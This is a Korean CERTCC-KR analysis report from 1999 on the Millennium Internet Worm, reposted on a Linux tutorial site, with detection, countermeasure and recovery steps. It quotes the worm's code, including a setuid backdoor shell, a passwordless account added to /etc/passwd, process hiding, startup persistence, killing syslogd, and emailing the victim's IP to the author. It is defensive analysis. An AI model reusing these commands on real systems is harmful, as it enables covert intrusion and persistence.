강좌
클라우드/리눅스에 관한 강좌입니다.
리눅스 분류

Millennium Internet Worm 분석 보고서

작성자 정보

  • 웹관리자 작성
  • 작성일

컨텐츠 정보

본문


Millennium Internet Worm 분석 보고서

1999.9

이상엽/CERTCC-KR, leesy@certcc.or.kr

이현우/CERTCC-KR, lotus@certcc.or.kr

1. 개요

최근 바이러스와 같이 빠른 전파력을 갖는 웜(worm) 형태와 원격에서 시스템을 공격하고 조작할 수 있는 해킹기술을 이용한 새로운 형태의 해킹 기술인 "Millennium Internet worm"이 보안 위협의 대상이 되고 있다.

Millennium Internet Worm은 리눅스 시스템의 일반적인 원격 공격 취약성들을 공격하여 접근 권한을 얻어내거나 네트워크를 통해 전파시키는 기능을 가진 스크립트 및 프로그램의 집합으로 최근의 Melissa, Happy99, Toadie, PrettyPark.B 등으로 대표되는 윔바이러스와 같은 자체적인 확산 기능과 함께 은폐 기능, Scanning 기능, 원격 공격 기능, ftp를 이용한 침입 기능 등을 포함하고 있기 때문에 수 시간내에 많은 시스템을 공격 할 수 있는 해킹 기술이다.

이 Millennium Internet Worm은 1998년에 발견된 ADM Internet worm(ADMw0rm)과 유사한 형태를 가지며 여기에 새로운 원격 해킹 취약점에 대한 공격 기능(imap4 v10.x, Qualcomm popper, bind with iquery, 그리고 rpc.mountd services)과 다양한 추가 기능이 포함된 보다 진보된 웜이다.

본 보고서에서는 Millennium Internet Worm(이하 mworm)의 동작원리와 특징, 그리고 대책에 대하여 자세히 살펴보도록 한다.

 

2. 동작원리 및 특징

mworm의 특징을 살펴보기 위하여 먼저 mworm의 동작원리를 알아보도록 한다.

이 웜은 기본적으로 mworm.tgz의 압축파일의 형태를 가지고 있는데 이 압축파일을 풀게되면 다음과 같이 웜을 초기화하는 wormup이라는 스크립트가 존재한다. 이 스크립트는 다른 시스템에 침입시에도 아래와 같이 백도어를 설치하는 기능을 자동으로 수행하게 된다.
 

 cp /bin/sh /bin/.mwsh && chmod 4755 /bin/.mwsh

 mkdir /var/tmp/.... && cp mworm.tgz /var/tmp/....

 echo mw::2222:555:millennium worm:/:/bin/sh >>/etc/passwd

 cd /var/tmp/.... && tar xzvf mworm.tgz

 ./mworm >/dev/null 2>/dev/null &

 echo "Millennium Worm(tm). Phear thy unix like thyself."


○ /bin/sh을 /bin/.mwsh고 복사하고 /bin/.mwsh의 모드를 4755(setuid)로 수정

○ /var/tmp/.... 디렉토리를 만들고 mworm.tgz 파일을 /var/tmp/....으로 복사

○ /etc/passwd 파일에 패스워드가 없는 mw 계정 추가

○ /var/tmp/....으로 이동하여 mworm.tgz 파일의 압축을 품

○ ./mworm 실행

mworm
 

 . . .

 ./prepare for your d00m mortalz

 . . .

 ./IP | mail -s "Mworm is here" trax31337@hotmail.com

 logout

 _EOF_

 ./mwd &

 ./mwd-pop &

 ./mwd-imap &

 ./mwd-mountd &

 ./mwd-ftp &

 sleep 60

 /bin/.mwsh -c ./bd


prepare

 

 . . .

 mv /bin/ps /bin/.ps;echo "/bin/.ps $* | grep -v ps | grep -v mw | grep -v

 grep" >> /bin/ps ; chmod 755 /bin/ps

 if [ -f /etc/rc.d/rc.local ] then

 echo "( sleep 10 ; cd /var/tmp/..../ ; ./mworm ) >>/dev/null & " >> /etc/rc.d/rc.local

 else

 echo "( sleep 10 ; cd /var/tmp/..../ ; ./mworm ) >>/dev/null & " >> /etc/profile

 fi

 chattr +ia /var/tmp/..../*.c /var/tmp/..../mwd* /var/tmp/..../prepare /bin/.mws

 chattr +ia /etc/rc.d/rc.local /etc/profile /var/tmp/..../mwo* /var/tmp/..../IP

 chattr -ia /var/tmp/..../mount_*.c

 fi

 killall -q -9 syslogd

 . . .



mworm을 실행시키면 다음과 같은 기능을 수행한다.

■ perpare

○ /bin/ps를 /bin/.ps로 변경, /bin/ps를 mworm 계정인 mw를 보여주지 않는

새로운 ps 파일로 대체, /bin/ps의 모드를 755로 변경

○ /var/tmp/mworm을 startup script인 /etc/rc.d/rc.local과 /etc/profile에 삽입

○ 주요 mworm 관련 파일들을 chattr 명령어를 이용하여 쓰기와 수정이 불가능하도록 함

○ syslogd를 종료시킴

■ mworm

○ worm이 설치된 시스템의 IP 주소를 제작자인 trax31337@hotmail.com로 보냄

○ random하게 선택된 다른 시스템을 scanning하고 공격하여 웜을 전파시킴

(원격 취약성 공격 script : mwd-pop, mwd-imap, mwd-mountd, mwd-ftp, Hnamed)

- tcp port 53 (worm exploiting BIND IQUERY vulnerability using "Hnamed")

- tcp port 110 (worm exploiting Qpopper Overflow vulnerability using "qp")

- tcp port 143 (worm exploiting Imapd Overflow vulnerability using "im")

- tcp port 635 (worm exploiting rpc.mountd vulnerability using "mountd")

○ ./bd (tcp 1338포트를 이용하여 "millennium"이라는 keyword를 치면 원격에서 root

접근이 가능한 backDoor Daemon 프로그램) 실행

mworm은 다음 myrand 함수에서 결정된 random IP부터 모든 가능한 호스트 주소를 순차적으로 증가시켜 Scanning과 공격을 시도하는 방법을 사용한다. random IP에서 순차적으로 299.230.230.230까지 1씩 증가시켜 공격을 시도하기 때문에 처음 random IP에 따라서 공격하는 시스템 수가 결정된다.

mwr.c
 

 myrand ()

 {

 int j;

 j = 1 + (int) (230.0 * rand () / (RAND_MAX + 1.0));

 return (j);

 }

 . . .

 srand ((time (NULL) * rand ()));

 . . .

 

다음은 mwr.c에 의해 random하게 만들어진 공격대상 시스템 IP를 이용하여 rpc.mountd 공격을 수행하는 mwd-mount 스크립트이다.

 

 #!/bin/.mwsh

 # Millennium Worm Daemon

 # If you are an admin and find this on your machine,

 # your security is very very lame and you have a big problem =P

 # Have a nice day!

 export PATH="/bin/:/usr/sbin/:/usr/bin:/sbin:/usr/local/bin:."

 ./mwr | ./mwi | ./mws 635 | while read VICTIM

 do

 ./mountd $VICTIM

 sleep 3

 nohup ./remotecmd $VICTIM &

 ./infect

 echo $VICTIM >> victims

 done


위와 같은 공격 script들은 원격 취약성 공격 프로그램(ftpx.c im.c mountd.c qp.c)을 이용하여 버퍼오버플로우 공격으로 공격대상 시스템에 다음과 같은 명령들을 수행시킨다.

 

 strcpy (buf, " /bin/sh -c "echo >>/etc/passwd;echo mw::2222:555:
                
    millennium worm:/:/bin/sh >>/etc/passwd;/bin/cp /bin/sh /bin/.mwsh;                     /bin/chmod 4755 /bin/.mwsh; >/etc/hosts.deny ; > /etc/hosts.allow" ");


○ /etc/passwd 파일에 패스워드가 없고, uid가 2222인 mw 계정 추가

○ /bin/sh을 /bin/.mwsh고 복사하고 /bin/.mwsh의 모드를 4755(setuid)로 수정

○ /etc/hosts.deny, /etc/hosts.allow 파일의 내용을 null로 만듬

※ mountd.c의 경우에는 추가적으로 /usr/sbin/rpc.mountd </dev/null" 의 명령어를 수행하여 mountd 데몬 자체를 사용하지 못하게 하여 다른 해커들이 침입하는 것을 막는다. 또한 취약한 qpop이나 imap등을 새로운 버젼으로 패치시키고 dns 서비스 등도 사용을 하지 못하게 한다.

이렇게 만들어진 공격대상 시스템의 계정을 이용하여 다시 접근 하고, wormup script를 이용하여 ftp로 mworm.tgz을 다운 받고 다시 지금까지의 수행을 반복하여 다른 시스템을 공격하게 된다.

지금까지 설명된 mworm의 동작원리에서 보는 것과 같이 mworm은 최신 해킹 기술과 worm의 자체 전파성을 가진 심각한 위험성을 가진 해킹 프로그램이다.



3. 탐지 방법

시스템이 mworm에 의해 해킹 당했는지 확인하는 방법은 앞절의 mworm 동작원리에서 변경되거나 생성된 파일들이나 디렉토리의 유무를 점검하는 호스트 기반의 탐지 방법과 mworm이 이용하는 특정 포트의 트래픽을 확인하는 등의 네트워크 기반 탐지 방법이 있다.

■ 호스트 기반

○ /etc/passwd 파일에 패스워드가 없는 mw 계정 존재

○ setuid를 갖는 shell 파일인 /tmp/.mwsh의 존재

○ mworm 파일들을 포함한 /var/tmp/.... 디렉토리 존재

○ /etc/rc.d/rc.local이나 /etc/profile 시작파일에 mworm entry 존재

○ syslogd가 예기치않게 종료

○ mountd가 사용할 수 없게됨 (mountd.c : /usr/sbin/rpc.mountd </dev/null)

○ dns service가 중지 됨

○ qpop와 imap이 패치됨

○ /etc/hosts.deny와 /etc/hosts.allow파일의 내용이 null로 됨

○ .mwsh, mworm, Hnamed, remotecmd, mwd, mwd-ftp, mwd-imap, mwd-pop,
     mwd-mountd, ps ("bd" backdoor)와 같은 프로세서 존재

■ 네트워크 기반

trax31337@hotmail.com으로의 outgoing email 로그 존재
    (mworm은 syslogd를 종료시키기 때문에 다른 메일 로그를 확인하거나 proxy 등을 확인함)

○ xferlog등에서 anonymous:mworm@로 mworm.tgz을 incoming한 ftpd 로그 존재

○ tcp 1338 포트를 사용하는 backdoor 프로그램으로의 incoming 트랙픽 존재

tcp 53 포트의 outgoing 트래픽 존재 ("Hnamed"를 이용한 BIND IQUERY 취약성 공격)

tcp 110 포트의 outgoing 트래픽 존재 ("qp"를 이용한 Qpopper Overflow 취약성 공격)

tcp 143 포트의 outgoing 트래픽 존재 ("im"을 이용한 Imapd Overflow 취약성 공격)

tcp 635 포트의 outgoing 트래픽 존재 ("mountd"을 이용한 rpc.mountd 취약성 공격)

tcp 23 포트의 outgoing telnet 트래픽 존재 ("remotecmd"을 이용한 worm 전파)


4. 대책

○ 패치 설치

Millennium Internet Worm은 특정 시스템 응용프로그램(imapd, qpopd, rpc.mountd, named)의 보안 취약성을 공격함으로써 전파되기 때문에 주요 취약한 데몬에 대한 패치를 함으로서 mworm의 전파를 막을 수 있다.

하지만 해커가 새로운 취약성을 이용하거나 리눅스 시스템외의 다른 시스템을 이용한 mworm의 변종을 만들어낼 가능성이 있으므로 관리자의 지속적인 시스템 관리와 패치, 그리고 최신 보안 관련 권고문에 주의를 기울여야 한다.

※ Redhat 사용자를 위한 보안 관련 정보 사이트

http://www.redhat.com/errata/

○ 보안 관리

꼭 필용한 서비스만을 사용하도록 하고 사용하는 서비스에 대해서는 주기적인 감시를 한다.


5. 복구 방법

mworm이 탐지되었을 경우 다음과 같은 방법으로 복구가 가능하다.

○ setuid가 있는 /tmp/.mwsh 파일 삭제 [/bin/rm -rf /tmp/.mwsh]

○ mworm/mw가 생성한 프로세서 모두 종료 [/usr/bin/killall -9 mworm/mv]

○ mworm 관련 파일들의 protection flag들 제거 [/usr/bin/chattr -R -ia /tmp/....]

○ mworm 관련 파일들 삭제 [/bin/rm -rf /tmp/....]

○ /bin/.ps파일을 /bin/ps로 복사 [/bin/cp /bin/.ps /bin/ps]

○ /etc/passwd 파일로부터 mw 사용자 계정 삭제 [/usr/sbin/userdel -r mw]

○ /etc/rc.d/rc.local과 /etc/profile startup script에서 mworm관련 entry 삭제

○ "bd" backdoor 프로세서 종료

(startup script파일에서 mworm이 삭제되었다면 reboot으로 종료시킬 수 있음)

※ 위와 같은 방법으로 mworm에 대한 임시적인 복구가 이루어질수 있다. 하지만 mworm에 의해 공격을 당한 시스템은 이미 권한이 침해되었으며, IP 주소가 공격자에게 알려진 상태이기 때문에 rootkit과 같은 다른 백도어 프로그램이 설치되어 있을 수 있다. 따라서 다음에서 제공하는 방법에 따라 보다 심도있는 점검과 복구 과정이 필요하다.

복구 관련 자료 링크

http://www.certcc.or.kr/paper/comp.txt

http://www.certcc.or.kr/paper/tr003.txt

http://www.certcc.or.kr/paper/tr005.txt

ftp://info.cert.org/pub/tech_tips/root_compromise

(CERT's famous "Steps for Recovering from a UNIX Root Compromise". )

 

5. 참고 자료

http://whitehats.com/worms/mworm/index.html

 

관련자료

댓글 0
등록된 댓글이 없습니다.

공지사항


뉴스광장


  • 현재 회원수 :  60,040 명
  • 현재 강좌수 :  35,850 개
  • 현재 접속자 :  152 명